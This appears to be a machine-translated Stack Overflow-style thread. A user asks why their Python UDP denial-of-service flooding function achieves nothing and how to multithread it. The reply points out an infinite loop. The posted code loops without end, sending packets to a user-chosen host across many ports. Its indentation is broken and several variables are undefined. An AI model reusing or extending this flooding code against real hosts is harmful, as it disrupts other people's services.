0

ねえ、なぜこれは非常に多くのパケットを送信するのに何も達成できないのですか? ポートスキャナーが不要であることはわかっていますが、ツールの将来の開発には必要です。for ループを同時に実行したいのですが、マルチスレッド化する方法が見つかりませんでした。

def DOS():

    try:

        ask = raw_input("[+]  Do you know the open ports you are trying to attack(YES/NO)  : ")

        if ask.upper() == "NO":
            #opens port scanner
            print ("[+]  Loading port scanner for you  : ")
            time.sleep(1)
            PORT_SCANNER()

        elif ask.upper() == "YES":
            HOST = raw_input("[+]  Enter address  : ")
            PORT = int(raw_input("[+]  Enter port, use port scanner to find open ports : "))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)            
            #confirmation

            #I am not liable for any action as a result this program
            sure = raw_input("[+]  ARE YOU SURE?, THIS COULD BE ILLEGAL(YES/NO  : ")

            if sure.upper() == "YES":
                sent = 0
                while 1 == 1:
                    for x in range(1,65500):
                    s.sendto(DOS_TEXT, (HOST, x))
                    s.sendto(packet, (HOST, PORT))
                    s.sendto(VBN, (HOST, x))
                    sent = sent + 3
                for no in range(1,1025):
                    s.sendto(Thi_s, (HOST, x))
                    sent = sent + 1
                for xn in range(20000,40000):
                    s.sendto(THIS, (HOST, x))
                    sent = sent + 1
4

1 に答える 1

0

無限ループがあります:

    ...            
        while 1 == 1: # Here is the problem
            for x in range(1,65500):
                s.sendto(DOS_TEXT, (HOST, x))
                s.sendto(packet, (HOST, PORT))
                s.sendto(VBN, (HOST, x))
                sent = sent + 3
            for no in range(1,1025):
                s.sendto(Thi_s, (HOST, x))
                sent = sent + 1
            for xn in range(20000,40000):
                s.sendto(THIS, (HOST, x))
                sent = sent + 1

可能であればこの行を削除するかbreak、ループ構造に a を追加してください。

于 2015-09-12T02:28:44.430 に答える